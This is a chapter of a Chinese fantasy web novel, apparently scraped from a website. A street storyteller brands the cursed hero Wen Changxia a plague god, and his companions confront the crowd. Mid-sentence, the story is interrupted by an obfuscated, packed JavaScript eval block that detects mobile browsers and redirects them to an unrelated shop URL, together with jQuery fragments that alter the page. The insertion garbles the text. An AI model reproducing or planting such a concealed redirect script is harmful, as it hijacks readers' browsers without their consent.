8. 猫与王姑娘(三)

作品:《地府黑莲花攻略宝典

    京华城的繁华程度举国闻名,以明阳县最为盛,经济的繁荣又与当地商业贸易频繁往来脱不开干系。


    熙和七年的冬天来得迟,在炮竹声声除旧岁的正月,却在除夕丑时开始,接连下了五天五夜的大雪。


    正月初五,雪停。


    各家扫净门前堆积的皑皑白雪,街道的商户业已开张,都把新桃换做了旧符,点上香烛,摆上丰盛的祭品,叩拜财神,求得来年风调雨顺。


    小孩子鼻尖冻得通红,在巷子中嬉笑打闹,堆雪人、打雪仗。成人裹着厚重喜庆的大花棉袄,也不忘出门采办贺岁探亲的礼品,熙熙攘攘好不热闹。


    与地府庄重严肃的氛围不同,这里处处都透露着欣欣向荣的烟火气。


    说书人支起四方桌子,面上铺了一张青布,端坐着轻捋胡子,往空闲之处撂地,开始他今年的第一笔生意。


    “新年新气象,观众老爷们过年好,走过路过千万不要错过,有钱的捧个钱场,没钱的捧个人场,来听老胡说书,热闹热闹诶——”


    醒木在桌上这么一拍,惊得来往的人群纷纷探头,皆过来凑个热闹。


    “话说,这京华城中有一温姓人家,曾是个名不见经传的农户出生,但温家公子颇具文采,小小年纪就出口成章,酷爱吟诗作赋,书法也精通一二,颇有几分当年柳公风范。后来遍观百家之所长,融会贯通,创出棱角分明,笔锋挺立修长的独特字风,世人称‘温体’。”


    一群嗑瓜子儿的群众顿感无趣,走的走,散的散。


    说书的老胡一看情况不对,连忙拉快节奏,


    “后来他被天子看中!”


    “……”


    “后来他一考就中了探花,在翰林院任职!”


    “……”


    被天子看中能怎样,中探花又如何,跟他们平头百姓有何关系?


    路过的人摩肩擦踵,却看也不看他一眼。


    “后来他娶了司丞相的女儿,生下了温长霞!”


    行路的人止住脚步,听到‘温长霞’这个丧门星才开始有了一点兴趣。


    “然后呢?”路人甲问道。


    “客官莫急,待胡某一一道来。”


    老胡半截身子都冒出了桌沿,揽客的姿势半悬于空中,方略略止住,将屁股重新挪回凳子上,清了清嗓,


    “传言哪,这温家小公子来得并不凑巧。诸位皆知,身怀六甲的产妇常有妊娠恶阻呕吐的迹象,可谁知这温家娘子呕的是何物?”


    “何物呀?”路人乙问道。


    老胡假装喝茶,闭口不谈,朝一席听众接连不断地使眼色。


    诸位看客都识趣地交了些赏银,一旁的学徒帮他收钱,低声对他拍马屁:“还是师父精明,过年的街上人就是多。”


    “是吧?”老胡得意地扬起眉毛,“多跟师父学着点。”


    “现在可以说了吧?”路人丙被吊足了胃口,有些不耐烦。


    “可以可以。”收钱嬉皮笑脸的老胡突然神情诡异,“先呕的还算正常,消化的食物残渣罢了,可这再呕的便是乌血,一滩滩的,温府各个角落那叫一个血流成河,横尸遍野。”


    “横尸遍野?”


    “客官莫急,且听老朽说。”


    “这尸呀,实则就是那黑血连带着吐出来的东西,据说温家娘子的肚子是越来越大,有一日竟呕血不止,在血泊里乌漆嘛黑一团团胖乎乎令人头皮发麻蠕动着的,”


    老胡深吸一口气,“是世间从未有过的黑蛆虫!”


    一个小孩开开心心地啃着包子听故事,想象了一下那个画面,当即感觉自己在吃蛆虫馅的包子,登时嚎啕大哭。


    “别哭呀!实际上这黑蛆虫,蠕动了半刻钟都不到,都全部死了,府里丫鬟呀、奴才呀都不敢清扫,后来太阳出来晒干了才知道,这不是蛆虫,密密麻麻的原来是茧蛹的壳子。”


    “温家娘子怀胎这些反常的举动,让温家老爷很是揪心,不论如何都要把肚子里怀的孽种落胎,可这温家娘子爱子心切,甚至不惜以死相逼,温老爷又是个宠妻的,一边心疼她,一边又是无可奈何。”


    “就这样过了一个多月,温家娘子怀中胎儿算是稳住,她不再口吐黑血,也能勉强吃些斋食。而她尤爱吃的,都是掺了花椒之物,花椒鸡、花椒饼,还拿花椒泡水喝,拿花椒水泡身子洗澡。诸位客官,你道是怪也不怪?”


    路人丁思忖片刻,点头说:“是挺怪的,温家娘子怕不是蜀地来的吧?”


    “锤子,你乱说啥子,老娘就是那边嘞人,喜欢吃点麻辣,没得哪个说要拿花椒洗澡、泡水喝哟!”路人戊震怒。


    “可我听闻温家娘子就是地地道道的京华人啊!”路人己道。


    “那也太奇怪了。”路人丁又道。


    啪!


    醒木惊拍,老胡精神抖擞道:


    “怪就对了!”


    “日子过了很久,按理说,温家娘子腹中胎儿该足月了,却迟迟推了俩月,硬是满一年才临盆。”


    “临盆那日,星辰异动,分明还万里晴空的天气,霎时乌云密布,狂风大作,电闪雷鸣,劈残了好些百年老树。而在这个时候,我们的天煞孤星温长霞,便适时而生了。”


    “臭老头,你说谁是天煞孤星?”墨子归挤入人群,愤愤不平地瞪着他。


    老胡的声音软了些:“这位少侠,我实在冤枉啊,‘天煞孤星’可不是我封的,是有人亲口所说。何况他也对得起这个说法。”


    “诸位,他出生那日,克死生母,克死产婆,克死抱他的丫鬟,凡触他身之人,无不死状惨烈,随他一同出世的,还有一条三指长的绦虫,这不是‘天煞孤星’是什么?”


    “何况,他克死生母后,更不受温家老爷待见,将他送给了一个老道士。他不知跟那老道士学了什么妖法,或者说他把老道士也克死了,后来,不说近他身,就是一旦出现人前,就说留仙镇的张老四吧,他患的分明是普通的伤寒,郎中都说他还有得救,可偏偏他来了,张老四就是去倒个茶的功夫,当场暴毙啊。”


    老胡遗憾得直甩头。


    众人惊出一身冷汗。


    “真可恶,这种人就该去死,无缘无故害我们老百姓做什么?”


    “说真的,他姓‘温’,还真不愧是‘瘟神’。”


    “他如今还在吗?我们京华城不欢迎他!”


    “官府的人为什么还不把他抓起来!”


    墨子归咬牙切齿,一脚踹翻他的桌子,把老胡吓得一哆嗦。


    “你们都说他是‘天煞孤星’,是‘瘟神’,依你们所见,那张老四家可有妻儿否,亲人呢,也夺去他们的命了?”


    人群中走来一个玲珑的白衣少女,仙气飘飘,吸引了众人的目光。


    他们都答:“那倒是没有。”


    “可他确实夺了张老四的命,这是不争的事实!”


    少女有理有据地说:“若他真如你们所言,那他应当在被逐出家门


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660514|188416||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后屠了温家老爷的性命,可他做了不曾?”


    众人皆摇头,但道:“那毕竟是他爹,君君、臣臣、父父、子子,不杀父是理所应当的!”


    “是啊是啊。”


    “就是就是。”


    墨子归亮出长剑,架在老胡的脖子上,道:“泰云摇,你别跟他们废话了!”


    “子归,别冲动。”


    人群半米远立着一个黑衣少年,他头戴斗笠,面纱遮住他的真容。


    过客好奇地打量他,有人将他认了出来。


    背负麒麟纹长剑,腰间别胭脂色平安玉扣,天下无人不知无人不晓。


    “是温长霞!是‘瘟神’来了……”


    不知是谁吼了一嗓子,惹得本来安宁祥和的街头,市民们皆人心惶惶,纷纷作鸟兽散。


    老胡还被刀架着,自己的徒儿已经抱着银钱不知奔窜何处了。


    他吓得瑟瑟发抖,本来眯成一条缝的眼睛,此时已瞪到有生以来的最大限度。


    墨子归还在气头上,但很听话,麻利地收起长剑,只听老胡“噗通”一声跪倒在地,花白的髻子散乱不堪,发丝随他上下磕头而飞舞不定。


    “温、温大人,您大人有大量,饶了我吧……小的只是说点逸闻佚事,混口饭吃,我以后再也不敢了,求求您……”


    司长霞向外推了推手,墨子归便道:“还不快滚!”


    老胡带着渗血的额头爬起来,没爬多久又趔趄摔倒在地,又爬起来,又摔倒,逃离的样子很是狼狈。


    天空不知何时又下起小雪。


    在窜逃的人群之中,一个小孩拿着刚买的糖葫芦蹦蹦跳跳地走着,还没来得及吃上一口,糖葫芦就被撞倒在地上,混着白雪一路滚到司长霞的靴子边。


    司长霞捡起来,小心翼翼用袖口把雪花掸去,轻轻擦拭干净,留了一大截竹签的空隙,示意他过来拿。


    小孩踌躇着,迟疑了一会,向前移动他的脚步。


    刚抬起脚,却被一位老妇人连连抱住,小孩子放声大哭,老妇人哄着他说:“乖,我们不要了,等会我给你买个新的。”


    司长霞看着远去的老妇人和小孩,站在原地愣了许久。


    指尖的竹签不知在什么时候被抽空,他这才回过神来,看见泰云摇正笑意盈盈地吃着他从地上捡来的糖葫芦。


    “他们不要,我要。”


    她叼着一颗裹满糖衣的山楂放入口中,巴掌大的脸左腮帮子鼓得很突兀,冲他笑得眉眼弯弯,他好像在她的眼睛里看见了日月星辰。


    “啊。”


    司长霞的眸子闪了一下,心脏的刺痛感再度袭来,连他自己也没有料到,慌不择路地捂住心脏,只得大口呼吸。


    他的双眼布满了红血丝,眼前的景象越来越模糊。


    下一秒,他的手被一只纤瘦柔软的手握住。


    一股无形的暖流,从她的掌心一直流淌,传递到他的掌心,流过手臂,从外向内,一直流进他的血肉,流入他的心脏。


    咚咚、咚咚。


    双眼恢复了视线,心脏持续而有力地跳动。


    抬头,泰云摇黛眉紧蹙,关切地问他:“你没事吧?”


    迅速收回手,司长霞舔润有些干燥的嘴唇,眨眨眼,不知在掩盖什么,扯出一丝笑容,答道:“没事。”


    启舟便说:“没事就好,我们赶紧去找微微姑娘吧!”


    明缃问:“那你还记得是这条街的哪条铺子么?”